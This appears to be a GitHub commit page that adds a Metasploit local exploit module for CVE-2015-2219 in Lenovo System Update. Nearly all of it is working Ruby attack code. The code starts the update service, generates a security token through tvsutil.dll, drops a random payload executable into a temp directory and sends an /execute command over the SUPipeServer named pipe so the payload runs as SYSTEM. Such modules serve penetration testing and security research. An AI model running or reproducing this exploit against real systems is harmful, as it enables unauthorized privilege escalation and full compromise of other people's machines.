Skip to content

Commit 5bceeb4

Browse files
committed
Land rapid7#5349, @h0ng10's module for CVE-2015-2219 Lenovo System Update Local Privilege Escalation
2 parents eb5aadf + 3aa1ffb commit 5bceeb4

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class Metasploit3 < Msf::Exploit::Local
7+
include Msf::Exploit::EXE
8+
include Msf::Post::File
9+
include Msf::Exploit::FileDropper
10+
include Msf::Post::Windows::Priv
11+
include Msf::Post::Windows::Services
12+
13+
Rank = ExcellentRanking
14+
15+
def initialize(info={})
16+
super(update_info(info, {
17+
'Name' => 'Lenovo System Update Privilege Escalation',
18+
'Description' => %q{
19+
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
20+
System update service. The service provides the possibility to execute arbitrary
21+
commands as SYSTEM if a valid security token is provided. This token can be generated
22+
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
23+
System Update is stopped by default but can be started/stopped calling the Executable
24+
ConfigService.exe.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Micahel Milvich', # vulnerability discovery, advisory
30+
'Sofiane Talmat', # vulnerability discovery, advisory
31+
'h0ng10' # Metasploit module
32+
],
33+
'Arch' => ARCH_X86,
34+
'Platform' => 'win',
35+
'SessionTypes' => ['meterpreter'],
36+
'DefaultOptions' =>
37+
{
38+
'EXITFUNC' => 'thread',
39+
},
40+
'Targets' =>
41+
[
42+
[ 'Windows', { } ]
43+
],
44+
'Payload' =>
45+
{
46+
'Space' => 2048,
47+
'DisableNops' => true
48+
},
49+
'References' =>
50+
[
51+
['OSVDB', '121522'],
52+
['CVE', '2015-2219'],
53+
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
54+
],
55+
'DisclosureDate' => 'Apr 12 2015',
56+
'DefaultTarget' => 0
57+
}))
58+
59+
register_options([
60+
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
61+
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
62+
], self.class)
63+
64+
end
65+
66+
def check
67+
os = sysinfo['OS']
68+
69+
unless os =~ /windows/i
70+
return Exploit::CheckCode::Safe
71+
end
72+
73+
svc = service_info('SUService')
74+
if svc && svc[:display] =~ /System Update/
75+
vprint_good("Found service '#{svc[:display]}'")
76+
return Exploit::CheckCode::Appears
77+
else
78+
return Exploit::CheckCode::Safe
79+
end
80+
end
81+
82+
83+
def write_named_pipe(pipe, command)
84+
invalid_handle_value = 0xFFFFFFFF
85+
86+
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
87+
handle = r['return']
88+
89+
if handle == invalid_handle_value
90+
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
91+
else
92+
vprint_good("Opended #{pipe}! Proceeding...")
93+
end
94+
95+
begin
96+
97+
# First, write the string length as Int32 value
98+
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
99+
100+
if w['return'] == false
101+
print_error('The was an error writing to pipe, check permissions')
102+
return false
103+
end
104+
105+
# Then we send the real command
106+
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
107+
108+
if w['return'] == false
109+
print_error('The was an error writing to pipe, check permissions')
110+
return false
111+
end
112+
ensure
113+
session.railgun.kernel32.CloseHandle(handle)
114+
end
115+
true
116+
end
117+
118+
119+
def get_security_token(lenovo_directory)
120+
unless client.railgun.get_dll('tvsutil')
121+
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
122+
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
123+
end
124+
125+
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
126+
127+
dll_response['systeminfo'][0,40]
128+
end
129+
130+
131+
def config_service(lenovo_directory, option)
132+
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
133+
end
134+
135+
136+
def exploit
137+
if is_system?
138+
fail_with(Failure::NoTarget, 'Session is already elevated')
139+
end
140+
141+
su_directory = service_info('SUService')[:path][1..-16]
142+
print_status('Starting service via ConfigService.exe')
143+
config_service(su_directory, 'start')
144+
145+
print_status('Giving the service some time to start...')
146+
Rex.sleep(datastore['Sleep'])
147+
148+
print_status("Getting security token...")
149+
token = get_security_token(su_directory)
150+
vprint_good("Security token is: #{token}")
151+
152+
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
153+
temp_dir = get_env('TEMP')
154+
else
155+
temp_dir = datastore['WritableDir']
156+
end
157+
158+
print_status("Using #{temp_dir} to drop the payload")
159+
160+
begin
161+
cd(temp_dir)
162+
rescue Rex::Post::Meterpreter::RequestError
163+
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
164+
end
165+
166+
print_status('Writing malicious exe to remote filesystem')
167+
write_path = pwd
168+
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
169+
170+
begin
171+
write_file(exe_name, generate_payload_exe)
172+
register_file_for_cleanup("#{write_path}\\#{exe_name}")
173+
rescue Rex::Post::Meterpreter::RequestError
174+
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
175+
end
176+
177+
print_status('Sending Execute command to update service')
178+
179+
begin
180+
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
181+
rescue Rex::Post::Meterpreter::RequestError
182+
fail_with(Failure::Unknown, 'Failed to write to pipe')
183+
end
184+
185+
unless write_res
186+
fail_with(Failure::Unknown, 'Failed to write to pipe')
187+
end
188+
189+
print_status('Stopping service via ConfigService.exe')
190+
config_service(su_directory, 'stop')
191+
end
192+
193+
end

0 commit comments

Comments
 (0)